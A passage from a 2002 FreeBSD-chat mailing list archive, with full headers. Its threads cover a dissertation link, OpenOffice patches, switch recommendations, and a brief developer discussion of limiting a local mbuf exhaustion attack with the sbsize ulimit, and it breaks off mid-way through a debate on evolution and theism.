PST and forwarded it to phk and the security officer in the wee morning hours of Friday... I've heard rumour that it was culled from an (years) old post on a freebsd list. -- Benjamin Krueger "Everyone has wings, some folks just don't know what they're for" - B. Banzai ---------------------------------------------------------------- Send mail w/ subject 'send public key' or query for (0x251A4B18) Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 7711 251A 4B18 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 15:50:45 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 437A637B400 for ; Mon, 2 Sep 2002 15:50:43 -0700 (PDT) Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com [216.136.174.113]) by mx1.FreeBSD.org (Postfix) with SMTP id DDD0143E65 for ; Mon, 2 Sep 2002 15:50:42 -0700 (PDT) (envelope-from m.tzouris@lse.ac.uk) Received: from pc-62-30-152-168-hr.blueyonder.co.uk (HELO lse.ac.uk) (tzmenelaos@62.30.152.168 with plain) by smtp.mail.vip.sc5.yahoo.com with SMTP; 2 Sep 2002 22:50:11 -0000 Message-ID: <3D73ED5B.30404@lse.ac.uk> Date: Mon, 02 Sep 2002 23:59:39 +0100 From: "Menelaos G. Tzouris" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en, en-us MIME-Version: 1.0 To: freebsd-chat@FreeBSD.org Subject: Dissertation text available References: <09EF96A44C0A7A4FB1D51C1B9DBF9B37468483@ExF2.pc.lse.ac.uk> <3D38796A.2F0E3FF5@mindspring.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dear all, I have now uploaded the final text of my dissertation on http://www.geocities.com/tzmnlaos/oss/tzouris_diss.pdf Thanks to everybody that helped towards the completions of this research. Best Regards, Menelaos. >"Tzouris,M" wrote: > > Subject: [OS:N:] MSc student, needs help from OS contributor! - 2nd request > > > >>I have uploaded an online questionnaire (http://www.lse-students.ac.uk/tzouris/oss/questionnaire.htm >>) on the School's site, and I am searching for Open Source contributors that might be interested in answering it. The questionnaire is designed in a way that It won't require more than 10 minutes to be answered. >> >>If you are a contributor, you are kindly requested to spend 10 minutes on filling in this questionnaire http://www.lse-students.ac.uk/tzouris/oss/questionnaire.htm >>. My MPhil/PhD which is commencing in the upcoming October, will be based on my current research. So as you can understand your help is really important to me. >> >> > > > ____________________________________________________________ Do You Yahoo!? ÁđďęôŢóôĺ ôç äůńĺÜí @yahoo.gr äéĺýčőíóç óáň óôď http://www.otenet.gr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 17: 6:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C5D7A37B400; Mon, 2 Sep 2002 17:06:22 -0700 (PDT) Received: from patrocles.silby.com (d76.as29.nwbl0.wi.voyager.net [169.207.73.76]) by mx1.FreeBSD.org (Postfix) with ESMTP id 28EE143E72; Mon, 2 Sep 2002 17:06:21 -0700 (PDT) (envelope-from silby@silby.com) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.6/8.12.5) with ESMTP id g8309ixP001599; Mon, 2 Sep 2002 19:09:44 -0500 (CDT) (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.6/8.12.6/Submit) with ESMTP id g8309f5h001596; Mon, 2 Sep 2002 19:09:42 -0500 (CDT) X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Mon, 2 Sep 2002 19:09:40 -0500 (CDT) From: Mike Silbersack To: Benjamin Krueger Cc: Ivan Streetovich , , Subject: Re: From: Ivan Streetovich, Japan In-Reply-To: <20020902143128.J64882@mail.seattleFenix.net> Message-ID: <20020902190613.V1590-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 2 Sep 2002, Benjamin Krueger wrote: > Interesting. I recieved a copy on Thursday night PST and forwarded it to phk > and the security officer in the wee morning hours of Friday... > > I've heard rumour that it was culled from an (years) old post on a freebsd > list. > > -- > Benjamin Krueger This is just another local mbuf exhaustion attack. We should probably put in countermeasures for this one of these days, but it's not all that much of a serious problem. If you have a shell machine you wish to get your access revoked on, then by all means go ahead and use this program. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 17:30:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CD83237B400 for ; Mon, 2 Sep 2002 17:30:25 -0700 (PDT) Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id 741A443E42 for ; Mon, 2 Sep 2002 17:30:25 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0137.cvx40-bradley.dialup.earthlink.net ([216.244.42.137] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17m1a4-0004JK-00; Mon, 02 Sep 2002 17:30:08 -0700 Message-ID: <3D740255.6E2386B4@mindspring.com> Date: Mon, 02 Sep 2002 17:29:09 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: RichardH , lomifeh@earthlink.net, chat@FreeBSD.ORG Subject: Re: new subject- office stuff References: <5.1.0.14.0.20020829000049.00ad4bc0@mail.storm2k.wsonline.net> <5.1.0.14.0.20020829002021.00add248@mail.storm2k.wsonline.net> <20020902133741.021f32ea.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > RichardH wrote: > > OO seems to be good for some people here and others cannot get it > > running. Supposedly patching it fixes it but there is no clear > > documentation for the exact steps to do it (in mail list archives at > > Maybe cvsuping your ports tree will set up the patches for you. Someone set us up the patches! For great justice! -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 17:52:57 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9CD6237B405 for ; Mon, 2 Sep 2002 17:52:52 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id A097B43E75 for ; Mon, 2 Sep 2002 17:52:51 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 13572 invoked by uid 417); 3 Sep 2002 00:52:46 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 3 Sep 2002 00:52:46 -0000 Received: from planb ([216.194.22.24]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Mon, 02 Sep 2002 18:52:44 -0600 Date: Mon, 2 Sep 2002 20:52:04 -0400 From: Joshua Lee To: Terry Lambert Cc: rh@storm2k.com, lomifeh@earthlink.net, chat@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: new subject- office stuff Message-Id: <20020902205204.04ae6301.yid@softhome.net> In-Reply-To: <3D740255.6E2386B4@mindspring.com> References: <5.1.0.14.0.20020829000049.00ad4bc0@mail.storm2k.wsonline.net> <5.1.0.14.0.20020829002021.00add248@mail.storm2k.wsonline.net> <20020902133741.021f32ea.yid@softhome.net> <3D740255.6E2386B4@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 02 Sep 2002 17:29:09 -0700 Terry Lambert wrote: > Joshua Lee wrote: > > RichardH wrote: > > > OO seems to be good for some people here and others cannot get it > > > running. Supposedly patching it fixes it but there is no clear > > > documentation for the exact steps to do it (in mail list archives > > > > Maybe cvsuping your ports tree will set up the patches for you. > > Someone set us up the patches! > For great justice! ROFL. Seriously, although I'm not running OO, from the looks of the notes on freshports.org, there may be a bit of patching going on that is getable via cvsup. (This really belongs on -questions, not -chat; ccing it there.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 20:29:17 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6748737B400 for ; Mon, 2 Sep 2002 20:29:14 -0700 (PDT) Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id C740F43E42 for ; Mon, 2 Sep 2002 20:29:13 -0700 (PDT) (envelope-from ryan@sasknow.com) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.11.6/8.11.6) with ESMTP id g833TDx31426 for ; Mon, 2 Sep 2002 21:29:13 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Mon, 2 Sep 2002 21:29:13 -0600 (CST) From: Ryan Thompson To: freebsd-chat@freebsd.org Subject: Hawking Technologies switches Message-ID: <20020902211510.L30110-100000@ren.sasknow.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is OT for about every other mailing list I subscribe to. Vive le -chat :-) Anyone have any experience with Hawking Tech's 10/100 switches? They come in below other good low-price offerings by D-Link and Netgear, well below 3Com, and a fraction of Cisco, but appear to be full- featured. I've been charged with the task of outfitting a small new network room in a budget-sensitive fashion, so I'd need rack-mountable unmanaged RJ-45 Ethernet switches that can handle a handful of LAN servers, and connect 20-25 workstations. Recommendations? I've used D-Link, Netgear and 3C in similar scenarios, all with zero problems, but have yet to run with Hawking, mostly because I don't know a lot about them. - Ryan -- Ryan Thompson SaskNow Technologies - http://www.sasknow.com 901 1st Avenue North - Saskatoon, SK - S7K 1Y4 Tel: 306-664-3600 Fax: 306-244-7037 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 22:53:53 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5545537B405; Mon, 2 Sep 2002 22:53:41 -0700 (PDT) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1338B43E72; Mon, 2 Sep 2002 22:53:41 -0700 (PDT) (envelope-from bright@elvis.mu.org) Received: by elvis.mu.org (Postfix, from userid 1192) id D21FBAE165; Mon, 2 Sep 2002 22:53:40 -0700 (PDT) Date: Mon, 2 Sep 2002 22:53:40 -0700 From: Alfred Perlstein To: Mike Silbersack Cc: Benjamin Krueger , Ivan Streetovich , chat@freebsd.org, security@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020903055340.GF73747@elvis.mu.org> References: <20020902143128.J64882@mail.seattleFenix.net> <20020902190613.V1590-100000@patrocles.silby.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020902190613.V1590-100000@patrocles.silby.com> User-Agent: Mutt/1.4i Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * Mike Silbersack [020902 17:06] wrote: > > On Mon, 2 Sep 2002, Benjamin Krueger wrote: > > > Interesting. I recieved a copy on Thursday night PST and forwarded it to phk > > and the security officer in the wee morning hours of Friday... > > > > I've heard rumour that it was culled from an (years) old post on a freebsd > > list. > > > > -- > > Benjamin Krueger > > This is just another local mbuf exhaustion attack. We should probably put > in countermeasures for this one of these days, but it's not all that much > of a serious problem. If you have a shell machine you wish to get your > access revoked on, then by all means go ahead and use this program. I think the 'sbsize' ulimit already protects people from this. I think the problem is that it's not set by default, however I think that's somewhat of a good thing as it makes sure we don't bomb out when someone tries to bench us. Perhaps an additional setting from adduser to set the login class in a more interactive manner should be done, something like: Please select a login class for the user's defaults and limits: 1) user 2) foo 3) daemon ... 1 You have selected login class 'user' which has the following settings: ... ok? (y/n) I might get to it one day, but I'm pretty busy atm. -- -Alfred Perlstein [alfred@freebsd.org] [#bsdcode/efnet/irc.prison.net] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 4:17:37 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 34CA937B400 for ; Tue, 3 Sep 2002 04:17:35 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id C225643E75 for ; Tue, 3 Sep 2002 04:17:34 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0015.cvx22-bradley.dialup.earthlink.net ([209.179.198.15] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mBgb-0003lV-00; Tue, 03 Sep 2002 04:17:33 -0700 Message-ID: <3D74994A.E5280837@mindspring.com> Date: Tue, 03 Sep 2002 04:13:14 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: chat@freebsd.org Subject: Re: Why did evolution fail? References: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> <3D72E44E.CB303FAE@mindspring.com> <20020902105118.21bffb18.yid@softhome.net> <3D7380EE.A37DFF03@mindspring.com> <20020902133318.404b831f.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > Actually, BSD came about because of a need for utilities and for a > virtual memory Unix on the VAX. The license issue attraction is > definitely one that developed later, and has little if any to do > with why I run BSD. That's why CSRG came about; that's not why FreeBSD came about. > > The real question is "Why did you subscribe to the mailing list?"; > > I joined -chat so I could follow redirected off-topic discussions and so > I could talk with people I had something in common with; BSD. (I joined > the other lists of course for technical content and the pleasure of > helping out those who are even more clueless than myself. :-) ) ...in other words: to join a community. 8-) > Most people actually don't change their browser's homepage because they > don't know the first thing about how to do that. I've had to explain to > many users how to find a file on their hard drive, that's the level of > over 40% of today's computer users according to a recent survey > incidentally. Using the defaults has nothing to do with if they are > rationalizing a taste for www.msn.com or not. Does anyone consider > www.msn.com to be their favorite website?! (That's even a more scary > thought to me than 40% of computer users not quite knowing what a file > directory is.) A better example is almost always to find out which search engine people select when they need to search for something, and how they get there. There are a number of natural Schelling point online, and the real point of my argument is that you can't really get people to go to them through force: they end up showing up in large numbers at certain web sites all on their own. The idea of a "portal play" ended up with a lot of dead .COMs; not because a portal is a dumb idea, but because a portal is a Schelling point, and you can't dictate or sell Schelling points, you can only gather around them after they've self-assembled. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 5:48:16 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6AF0B37B400 for ; Tue, 3 Sep 2002 05:48:14 -0700 (PDT) Received: from proxy.centtech.com (moat.centtech.com [206.196.95.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A6AE43E77 for ; Tue, 3 Sep 2002 05:48:13 -0700 (PDT) (envelope-from anderson@centtech.com) Received: from sprint.centtech.com (sprint.centtech.com [10.177.173.31]) by proxy.centtech.com (8.11.6/8.11.6) with ESMTP id g83CmAY04850; Tue, 3 Sep 2002 07:48:11 -0500 (CDT) Received: (from root@localhost) by sprint.centtech.com (8.11.6+Sun/8.11.6) id g83CmA414561; Tue, 3 Sep 2002 07:48:10 -0500 (CDT) Received: from centtech.com (proton [10.177.173.77]) by sprint.centtech.com (8.11.6+Sun/8.11.6) with ESMTP id g83Cm7o14554; Tue, 3 Sep 2002 07:48:07 -0500 (CDT) Message-ID: <3D74AF87.7040401@centtech.com> Date: Tue, 03 Sep 2002 07:48:07 -0500 From: Eric Anderson Reply-To: anderson@centtech.com User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 X-Accept-Language: en-us MIME-Version: 1.0 To: Ryan Thompson Cc: freebsd-chat@freebsd.org Subject: Re: Hawking Technologies switches References: <20020902211510.L30110-100000@ren.sasknow.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-11 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Ryan Thompson wrote: > Anyone have any experience with Hawking Tech's 10/100 switches? They > come in below other good low-price offerings by D-Link and Netgear, > well below 3Com, and a fraction of Cisco, but appear to be full- > featured. I've been charged with the task of outfitting a small new > network room in a budget-sensitive fashion, so I'd need rack-mountable > unmanaged RJ-45 Ethernet switches that can handle a handful of LAN > servers, and connect 20-25 workstations. > > Recommendations? I've used D-Link, Netgear and 3C in similar > scenarios, all with zero problems, but have yet to run with Hawking, > mostly because I don't know a lot about them. Hawking makes some "ok" hardware, although you typically get what you paya for. I am a Netgear fan for all my inexpensive network hardware needs, but I have used Hawking stuff in the past, and haven't had too much of a problem. The only thing I can say is, I have had a few of their hubs go bad (just stop working), but nothing major. If price is a big issue, and you can't slap down the extra couple of $$'s to get a Netgear (or other), then Hawking will do you just fine. There isn't all that much difference in these little boxes these days anyhow. :) Eric -- ------------------------------------------------------------------ Eric Anderson Systems Administrator Centaur Technology The moon may be smaller than Earth, but it's further away. ------------------------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 6:31: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3085D37B401; Tue, 3 Sep 2002 06:30:57 -0700 (PDT) Received: from slc.edu (weir-01c.slc.edu [207.106.89.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id ED35943E42; Tue, 3 Sep 2002 06:30:55 -0700 (PDT) (envelope-from aschneid@mail.slc.edu) Received: (from aschneid@localhost) by slc.edu (8.11.6/8.11.6) id g83EXIW22459; Tue, 3 Sep 2002 14:33:18 GMT (envelope-from aschneid@mail.slc.edu) Date: Tue, 3 Sep 2002 14:33:18 +0000 From: Anthony Schneider To: Mike Silbersack Cc: Benjamin Krueger , Ivan Streetovich , chat@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020903143318.A22434@mail.slc.edu> References: <20020902143128.J64882@mail.seattleFenix.net> <20020902190613.V1590-100000@patrocles.silby.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="HcAYCG3uE/tztfnV" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020902190613.V1590-100000@patrocles.silby.com>; from silby@silby.com on Mon, Sep 02, 2002 at 07:09:40PM -0500 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --HcAYCG3uE/tztfnV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable limiting sbsize does the trick. -Anthony. On Mon, Sep 02, 2002 at 07:09:40PM -0500, Mike Silbersack wrote: >=20 > On Mon, 2 Sep 2002, Benjamin Krueger wrote: >=20 > > Interesting. I recieved a copy on Thursday night PST and forwarded it t= o phk > > and the security officer in the wee morning hours of Friday... > > > > I've heard rumour that it was culled from an (years) old post on a free= bsd > > list. > > > > -- > > Benjamin Krueger >=20 > This is just another local mbuf exhaustion attack. We should probably put > in countermeasures for this one of these days, but it's not all that much > of a serious problem. If you have a shell machine you wish to get your > access revoked on, then by all means go ahead and use this program. >=20 > Mike "Silby" Silbersack >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message --HcAYCG3uE/tztfnV Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj10yC0ACgkQ+rDjkNht5F2exgCfSsOBz3BW4q+jQijqYozSMfat 1BoAn3x3FJvmFHp4wa2cQ4xQm7Nx+wW9 =9uRC -----END PGP SIGNATURE----- --HcAYCG3uE/tztfnV-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 9:49: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 61A7137B400; Tue, 3 Sep 2002 09:49:04 -0700 (PDT) Received: from patrocles.silby.com (d7.as8.nwbl0.wi.voyager.net [169.207.132.7]) by mx1.FreeBSD.org (Postfix) with ESMTP id C460243E3B; Tue, 3 Sep 2002 09:49:02 -0700 (PDT) (envelope-from silby@silby.com) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.6/8.12.5) with ESMTP id g83GqQxP005932; Tue, 3 Sep 2002 11:52:26 -0500 (CDT) (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.6/8.12.6/Submit) with ESMTP id g83GqOTU005929; Tue, 3 Sep 2002 11:52:25 -0500 (CDT) X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Tue, 3 Sep 2002 11:52:24 -0500 (CDT) From: Mike Silbersack To: Alfred Perlstein Cc: Benjamin Krueger , Ivan Streetovich , , Subject: Re: From: Ivan Streetovich, Japan In-Reply-To: <20020903055340.GF73747@elvis.mu.org> Message-ID: <20020903115002.T5618-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 2 Sep 2002, Alfred Perlstein wrote: > * Mike Silbersack [020902 17:06] wrote: > > > > This is just another local mbuf exhaustion attack. We should probably put > > in countermeasures for this one of these days, but it's not all that much > > of a serious problem. If you have a shell machine you wish to get your > > access revoked on, then by all means go ahead and use this program. > > I think the 'sbsize' ulimit already protects people from this. > > I think the problem is that it's not set by default, however I think > that's somewhat of a good thing as it makes sure we don't bomb out > when someone tries to bench us. Doh, I had forgotten about that setting. Sbsize does work decently in such a situation, but it's not ready to be enabled by default. In addition to the fact that it would bomb out people doing high volume benchmarks, there's also the problem that it accounts for receive buffers, which are empty most of the time. Bosko and I had thrown around some ideas on how to improve mbuf limiting, but we haven't had time to work on them yet. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 11:56:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A59237B406 for ; Tue, 3 Sep 2002 11:56:07 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 020D143E75 for ; Tue, 3 Sep 2002 11:56:06 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g83Iu4Gd022749; Tue, 3 Sep 2002 11:56:04 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g83Iu391022688; Tue, 3 Sep 2002 11:56:03 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Tue, 3 Sep 2002 11:56:01 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D70590E.A1935AF3@mindspring.com> Message-ID: <20020831093523.G8288-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 30 Aug 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > [ ... the treating of treatable genetic problems ... ] > > But you've just dodged my question. Is it a good thing that we have > > the ability to keep those traits in the gene pool? > > Probably not. I'd just as soon not be selected against, however. Most people wouldn't. That's the problem with evolution. People like when it gives them an out, but practically people have to live their lives as though the exact opposite were the truth. > > Or is the development of that ability also a result of evolution? > > Probably not. Both the cause and the effect are exogenous. If I > remove a connection in a ffedback circuit, it's not "part of the > feedback circuit". This is turning out to be a most productive conversation! I've learned a new word today! I am most appreciative! > > If so, how do we know that what we are talking about isn't actually > > de-evolution? > > Technically, it probably is. On the other hand, there is a larger > homeostatic system in effect. Consider if a near-ELE happened next > Tuesday. With a collapse of the technical infrastructure that is > necessary to the support of such people in opposition to environmental > pressures, the pressures reassert themselves. The planet is certainly > well over its carrying capacity for a low technology civilization; but > the sudden conversion fron a high to low technology civilization would > remove the support for a percentage of the population which was itself > roughly proportional to the reduction in carrying capacity. So then would it be correct to classify you as a monist? It seems that you and Dave are actually on the same wavelength after all! I know, I know, he's a dualist, but considering the fact that he thinks everything is just one big dance, he's ultimately a monist. Everything just "is." > In effect, if it was suggently 1875 again from a technical perspective, > then only people who could have survived with an 1875 technological > base will survive. I don't know, possibly the only result would be a lot of whining. 8-) > This is really minor, though, compared to the > reduction in population as a result of starvation, since distribution > and production would get hit pretty hard, too, and they have a much > higher immediate effect than the ability to replace your soft contact > lenses in one month's time. Probably. > > By the same token, is the development of light bulbs a good thing? > > Why? What I'm trying to get at is your ultimate criteria. Usefulness? > > But then pragmatism is only useful if you know what ends to pursue. > > "What is the meaning of life?" 8-). According to the Westminster Larger Catechism, Q&A#1, "To glorify God and enjoy Him forever." 8-) > I don't claim to have an answer to that question. What I do claim > is that resetting the clock to an earlier time does no good. We know > this because, to analogize Dave Hayes, there was no sudden heavenly > chorus announcing the amount of real, user, and system time elapsed > since the beginning of the universe, now that the run is complete. It's complete? > There is also the slight problem that clocks run forward, meaning > that eventually you will get to the same point yet again, so you > might as well cross that bridge sooner rather than later. You'll have to excuse me for missing your point! > > Are these standards of conduct arbitrary? > > Humans have a certain amount of hard-wiring. To draw a simplistic > parallel, maybe their "Add unity to memory" instruction takes 2 clock > cycles, and their load register X with immediate takes 1 cycle, but > their load register Y with immediate takes 50 cycles. But any Turing > machine can actually run any software; it's just that some software > runs better than other software, on a given set of hardware. The problem with analogies is that sometimes they prove too much. Have you ever met the Programmer? > So I think most of these standards of conduct are emergent, based > on their anti- or pro- species survival value. Isn't the concept of "emergence" just a clever mask for "faith-based committment"? I mean really, as a theist, I feel like an absolute rationalist compared to you evolutionists! Consider this: Let "A" represent the order we find in the universe. Let "B" represent the various life forms in the universe. Let "C" represent the intelligence possessed by some life forms. Let "D" represent the moral nature possessed by man. Then, according to whatever form of evolution subscribed to (darwinian, neo-darwinian, punctuated equilibria, etc.): 1. 